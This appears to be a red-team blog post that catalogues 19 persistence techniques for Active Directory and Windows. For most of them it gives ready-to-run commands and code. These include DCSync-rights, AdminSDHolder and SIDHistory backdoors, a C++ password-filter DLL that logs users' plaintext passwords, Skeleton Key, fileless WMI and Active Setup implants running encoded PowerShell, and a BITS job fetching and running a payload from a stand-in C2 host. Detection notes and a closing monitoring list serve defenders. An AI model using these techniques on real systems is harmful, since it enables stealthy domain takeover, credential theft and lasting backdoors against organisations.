Why Standard Persistence Fails
Every red team playbook starts the same way: add a user to Domain Admins, drop a service, modify the Run key. Defenders know these. SIEMs alert on them. EDRs block them. The techniques in this post are different — they abuse legitimate Windows extensibility mechanisms, write nothing to disk (in some cases), and appear completely normal in every monitoring tool that isn't specifically looking for them.
This atlas documents 19 persistence vectors across Active Directory and Windows local. Each one has been researched, tested, and comes with full implementation. I've rated each by stealth, difficulty, and persistence strength to help you choose the right vector for the engagement.
Authorized use only. All techniques here are for penetration testing engagements with explicit written authorization. Detection signals are included specifically so defenders can build coverage.
Active Directory Persistence
AD persistence is the holy grail — one backdoor gives you persistent access to the entire domain. The techniques below go well beyond "add to Domain Admins".
1. Shadow Credentials (msDS-KeyCredentialLink)
Most persistence breaks the moment a defender resets the target account's password. Shadow Credentials does not. You add a certificate-based Key Credential to the target account's msDS-KeyCredentialLink attribute — the mechanism Windows Hello for Business uses. From that point, you can authenticate as that account using your certificate, regardless of how many times the password changes.
Why nobody catches it: The attribute is almost never audited. It's a legitimate Windows Hello mechanism. There's no group membership change, no new user, no service modification. The only signal is Event ID 5136 on the specific attribute — which most SIEMs don't alert on by default.
# Add Key Credential to target account Whisker.exe add /target:targetuser /domain:corp.local /dc:DC01.corp.local /path:C:\Temp\cert.pfx /password:P@ssw0rd # Authenticate using the certificate (get TGT + NTLM hash) Rubeus.exe asktgt /user:targetuser /certificate:C:\Temp\cert.pfx /password:P@ssw0rd /getcredentials /show
Detection: Monitor Event ID 5136 (Directory Service Changes) for writes to msDS-KeyCredentialLink on user objects (not computer objects — those are legitimate for WHfB). Any write by a non-Azure AD Connect service account is suspicious.
2. AdminSDHolder ACL Backdoor
The SDProp background process runs every 60 minutes and copies the DACL of CN=AdminSDHolder,CN=System to all "protected" AD objects — Domain Admins, Schema Admins, Enterprise Admins, Administrators, and ~12 others. If you add a GenericAll ACE for your backdoor account to AdminSDHolder, SDProp propagates it automatically. Defenders remove you from Domain Admins → SDProp adds you back an hour later, silently.
# Add GenericAll for backdoor user to AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
-PrincipalIdentity backdooruser -Rights All -Domain corp.local
# Alternatively with dsacls.exe (no PowerView)
dsacls.exe "CN=AdminSDHolder,CN=System,DC=corp,DC=local" /G "CORP\backdooruser:GA"
# Trigger SDProp immediately (don't wait 60 min)
Invoke-Command -ComputerName DC01 {
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
Set-ItemProperty $key "RunProtectAdminGroupsTask" 1
}
Detection: Event ID 5136 for DACL changes to CN=AdminSDHolder. Any modification to this object by non-SYSTEM accounts is a critical alert. Periodically diff the AdminSDHolder DACL against a known-good baseline.
3. DCSync Rights Delegation — The Invisible Hash Dumper
This is the cleanest persistence in Active Directory. You take a normal IT helpdesk account that nobody watches, and grant it two replication extended rights on the domain root. That account can now DCSync — dump every hash in the domain — at any time. No new users. No group changes. No service modifications. Just two invisible ACEs on the domain object.
# One-liner with PowerView
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights DCSync
# Native PowerShell (no tools required)
$sid = (Get-ADUser backdooruser).SID
$acl = Get-Acl "AD:DC=corp,DC=local"
$guids = @("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2","1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
foreach ($g in $guids) {
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid, "ExtendedRight", "Allow", [GUID]$g)
$acl.AddAccessRule($ace)
}
Set-Acl "AD:DC=corp,DC=local" $acl
# Use it later (Impacket — from any machine)
secretsdump.py corp.local/backdooruser:'Password123'@DC01.corp.local -just-dc
4. RBCD Persistence Chain
Resource-Based Constrained Delegation (RBCD) is usually taught as an attack — here it's persistence. You configure a machine account you control (BACKDOOR$) in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a high-value target machine. Then, months later, you use S4U2Self + S4U2Proxy to impersonate Domain Admin to that target machine — all via legitimate Kerberos delegation.
# Create machine account (any auth'd user, default MachineAccountQuota = 10)
New-MachineAccount -MachineAccount BACKDOOR$ -Password (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force)
# Set RBCD on target machine
$sid = Get-DomainComputer BACKDOOR$ -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($bytes,0)
Get-DomainComputer TARGETPC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}
# Later: S4U attack to impersonate DA
Rubeus.exe s4u /user:BACKDOOR$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/TARGETPC.corp.local /ptt
5. SIDHistory Injection — The Invisible Domain Admin
Inject the Domain Admins SID (S-1-5-21-...-512) into a helpdesk account's sIDHistory attribute. The account doesn't appear in any privileged group. net group "Domain Admins" shows nothing. BloodHound shows nothing. Yet Windows grants full DA access because the PAC includes SIDHistory entries, which are checked at resource access time.
# Requires DA + debug privilege on DC privilege::debug sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-512 # Verify: user NOT in DA group, but has DA access whoami /groups | findstr "Domain Admins" # EMPTY ls \\DC01.corp.local\C$ # WORKS # Confirm attribute Get-ADUser backdooruser -Properties SIDHistory | Select SIDHistory
6. ADCS Certificate Persistence (ESC1 Abuse)
Enroll a certificate for Domain Admin using a misconfigured ADCS template (ESC1: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled, low-privilege enrollment allowed). The certificate is valid for 1–5 years. Every password reset, every account re-creation, every credential rotation — irrelevant. You authenticate as DA with the certificate until it expires.
# Find vulnerable templates Certify.exe find /vulnerable # Enroll as Domain Admin Certify.exe request /ca:CA01.corp.local\corp-CA /template:VulnerableTemplate /altname:administrator@corp.local # Convert and use (survives DA password changes) openssl pkcs12 -export -in cert.pem -keyfile key.pem -out admin.pfx -password pass:P@ssw0rd Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:P@ssw0rd /domain:corp.local /ptt
7. Custom Password Filter DLL — Plaintext on Every Change
Register a DLL in LSASS as a Windows Password Filter. Your PasswordChangeNotify() export receives the plaintext new password for every domain user who changes their password. The more IT enforces "rotate every 90 days," the more credentials you collect. The DLL looks like a legitimate LSA component.
#include <windows.h>
#include <ntsecapi.h>
#include <fstream>
BOOLEAN WINAPI InitializeChangeNotify(void) { return TRUE; }
BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, BOOLEAN) { return TRUE; }
NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG, PUNICODE_STRING NewPassword) {
std::wofstream log(L"C:\\Windows\\Temp\\.pf.dat", std::ios::app);
if (log) log << UserName->Buffer << L":" << NewPassword->Buffer << L"\n";
return 0;
}
Copy-Item pwfilter.dll C:\Windows\System32\pwfilter.dll $key = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" $pkgs = (Get-ItemProperty $key)."Notification Packages" $pkgs += "pwfilter" Set-ItemProperty $key "Notification Packages" $pkgs -Type MultiString # Requires reboot to load into LSASS
8. Skeleton Key — Master Password for Every Account
Patch the DC's LSASS in memory so it accepts a secondary "master password" for any domain account — while keeping original passwords working. Zero NTDS changes. Zero disk writes. The patch evaporates on reboot. This is ideal for engagements where you need temporary DA access without leaving forensic artifacts.
privilege::debug misc::skeleton # Test from any workstation (password: "mimikatz") net use \\DC01\C$ /user:CORP\administrator mimikatz # works alongside real password
Windows Local Persistence
These techniques exploit legitimate Windows extensibility mechanisms. None of them require you to drop a service, modify Run keys, or touch Startup folders. Each one abuses something Windows was designed to do — just not for this purpose.
9. Time Provider DLL (W32Time) — The Most Overlooked Vector
Register a DLL as an NTP time provider under W32Time. The W32Time service (which runs as NETWORK SERVICE at boot) loads your DLL automatically. This registry path is almost never monitored. Legitimate entries: only NtpClient and NtpServer. Adding a third looks normal to everything except a registry diff.
$reg = "HKLM:\System\CurrentControlSet\Services\W32Time\TimeProviders\WindowsNTPSync" New-Item -Path $reg -Force | Out-Null Set-ItemProperty $reg "DllName" "C:\Windows\System32\timeprov.dll" Set-ItemProperty $reg "Enabled" 1 -Type DWord Set-ItemProperty $reg "InputProvider" 0 -Type DWord Copy-Item timeprov.dll C:\Windows\System32\timeprov.dll Stop-Service W32Time; Start-Service W32Time # load immediately
Detection: Monitor HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\ for new subkeys. Only NtpClient and NtpServer should exist. Any new entry pointing to a non-Microsoft DLL is an IOC.
10. COM Object Hijacking (HKCU) — No Admin Required
Override a COM object's registration in HKCU (which takes precedence over HKLM). When a privileged process loads that COM object, your DLL loads instead. No elevation. No UAC. Affects any process that uses that CLSID. Find candidates using Process Monitor filtering for NAME NOT FOUND in HKCU\Software\Classes\CLSID.
# Example CLSID for MMC (validate in your environment with ProcMon)
$clsid = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"
$path = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $path -Force | Out-Null
Set-ItemProperty $path "(Default)" "C:\Users\$env:USERNAME\AppData\Local\payload.dll"
Set-ItemProperty $path "ThreadingModel" "Apartment"
# Fires whenever the target process instantiates that COM object
11. AppCert DLL — Universal CreateProcess Hook
DLLs registered under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs are loaded into every process that calls CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, or CreateProcessWithTokenW. One registry key. System-wide DLL injection. The key barely exists on normal machines (usually empty) and is rarely monitored.
$key = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs"
if (-not (Test-Path $key)) { New-Item $key -Force | Out-Null }
Set-ItemProperty $key "WindowsSecurityAgent" "C:\Windows\System32\appcert.dll"
Note: Your DLL must export CreateProcessNotify returning STATUS_SUCCESS, otherwise process creation will fail.
12. LSA Notification Package — LSASS DLL + Plaintext Creds
Same key as the AD Password Filter, but for local accounts. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages lists DLLs loaded by LSASS. Legitimate entry: only scecli. Your DLL runs inside LSASS (SYSTEM context) and receives plaintext passwords on every local account change.
13. Port Monitor DLL — Print Spooler SYSTEM Persistence
Register a DLL as a Windows Print Port Monitor under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\. The Print Spooler (always-running SYSTEM service) loads it at boot. This path is almost never audited. Legitimate entries: 3-4 named well-known monitor types. Yours looks identical.
$key = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\WindowsPortSvc" New-Item $key -Force | Out-Null Set-ItemProperty $key "Driver" "portmon.dll" Copy-Item portmon.dll C:\Windows\System32\portmon.dll Restart-Service Spooler
14. Security Support Provider (SSP) DLL
SSPs are loaded by LSASS from HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Your DLL runs inside LSASS, can hook authentication flows, and can intercept credentials mid-authentication. Mimikatz's misc::memssp injects an SSP at runtime (no reboot required for temporary operation).
privilege::debug misc::memssp # All authentications now logged to C:\Windows\System32\mimilsa.log
15. WMI Permanent Event Subscription — Fileless Persistence
Create a WMI EventFilter + ActiveScriptEventConsumer + FilterToConsumerBinding. The payload (VBScript or JScript) lives entirely in the WMI repository (%SystemRoot%\System32\wbem\Repository\) — no executable on disk. Survives reboots. Standard file-based AV misses it entirely. The trigger can be time-based, process-based, or event-based.
# 1. Event Filter — fires every hour
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "WindowsUpdateFilter"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'"
$filter.EventNamespace = "root\cimv2"
$filter.Put()
# 2. ActiveScript Consumer — VBScript payload (FILELESS)
$consumer = ([wmiclass]"\\.\root\subscription:ActiveScriptEventConsumer").CreateInstance()
$consumer.Name = "WindowsUpdateConsumer"
$consumer.ScriptingEngine = "VBScript"
$consumer.ScriptText = "CreateObject(""WScript.Shell"").Run ""powershell -w h -enc BASE64_PAYLOAD"", 0, False"
$consumer.Put()
# 3. Binding
$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.__PATH
$binding.Consumer = $consumer.__PATH
$binding.Put()
16. Active Setup — Per-User Run-Once (No Admin for HKCU)
Active Setup runs a StubPath command for each new user who logs on if the HKLM version number is higher than their HKCU version. By setting version 99,0,0,0, your command runs for every user on their first logon after your implant registers the key — perfect for spreading persistence to new logons automatically.
$guid = "{$(New-Guid)}"
$key = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"
New-Item $key -Force | Out-Null
Set-ItemProperty $key "(Default)" "Windows Security Update"
Set-ItemProperty $key "StubPath" "powershell -w hidden -enc <BASE64>"
Set-ItemProperty $key "Version" "99,0,0,0"
Set-ItemProperty $key "IsInstalled" 1 -Type DWord
17. Credential Provider DLL — Lock Screen Persistence
Register a COM object as a Windows Credential Provider. LogonUI.exe (the lock screen process) loads all registered providers and calls their interface. Your provider runs before authentication. You can silently log every credential typed at the lock screen, display additional UI fields, and maintain SYSTEM-level persistence — all while appearing as a legitimate security component.
$clsid = "{YOUR-GUID}"
# Register COM class
New-Item "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Force | Out-Null
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "(Default)" "C:\Windows\System32\credprov.dll"
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "ThreadingModel" "Apartment"
# Register as Credential Provider
New-Item "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\$clsid" -Force | Out-Null
18. BITS Persistent Job — Disguised as Windows Update
Create a BITS job with a notification command that executes your payload when the download completes. BITS jobs persist across reboots, run as the creating user, and traffic blends with normal Windows Update CDN calls. Set the job name to look like a KB article for extra cover.
bitsadmin /create "Microsoft Windows Update KB5034441" bitsadmin /addfile "Microsoft Windows Update KB5034441" "http://your-c2.com/update.exe" "C:\Windows\Temp\KB5034441.exe" bitsadmin /SetNotifyCmdLine "Microsoft Windows Update KB5034441" "C:\Windows\Temp\KB5034441.exe" NUL bitsadmin /SetNotifyFlags "Microsoft Windows Update KB5034441" 3 bitsadmin /resume "Microsoft Windows Update KB5034441"
19. AMSI Provider Registration — Backdoor Inside Every Security-Aware Process
Register a COM object as an AMSI content provider under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{CLSID}. When amsi.dll initializes in any AMSI-aware process (PowerShell, Word, Excel, mshta, cscript, .NET), it CoCreateInstance's your provider. Your DLL loads in every high-value process while appearing as a legitimate security integration. Your provider returns AMSI_RESULT_NOT_DETECTED for everything — appearing helpful — while your payload runs in the background.
The meta irony: Your malware registers as a security tool. The very mechanism designed to stop malware loads your malware into every process that calls AMSI. Ask a defender: "How do you detect a malicious AMSI provider when the scanner loads your DLL before it can scan it?"
$clsid = "{YOUR-GUID}"
# COM class registration
New-Item "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Force | Out-Null
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "(Default)" "C:\Windows\System32\amsiprov.dll"
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "ThreadingModel" "Both"
# Register as AMSI provider
New-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\$clsid" -Force | Out-Null
# Takes effect on next PowerShell/Office launch
Detection: Enumerate HKLM\SOFTWARE\Microsoft\AMSI\Providers\. Only known, signed security products should appear. Any unsigned DLL is a critical IOC. Windows 11 has begun enforcing AMSI provider signing in some configurations — enabling this policy prevents unsigned providers from loading.
Building Detection Coverage
Every technique above has a detection signal. The common thread: monitor the registry paths nobody else monitors. The key locations most SIEMs miss:
HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLsHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification PackagesHKLM\SOFTWARE\Microsoft\AMSI\Providers\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\- msDS-KeyCredentialLink writes (AD Event 5136)
- CN=AdminSDHolder DACL changes (AD Event 5136)
- Replication rights on domain root (AD Event 4662 with replication GUIDs)
Add these to your Sysmon configuration (Event ID 12/13 for registry) and you'll catch 90% of these techniques in seconds.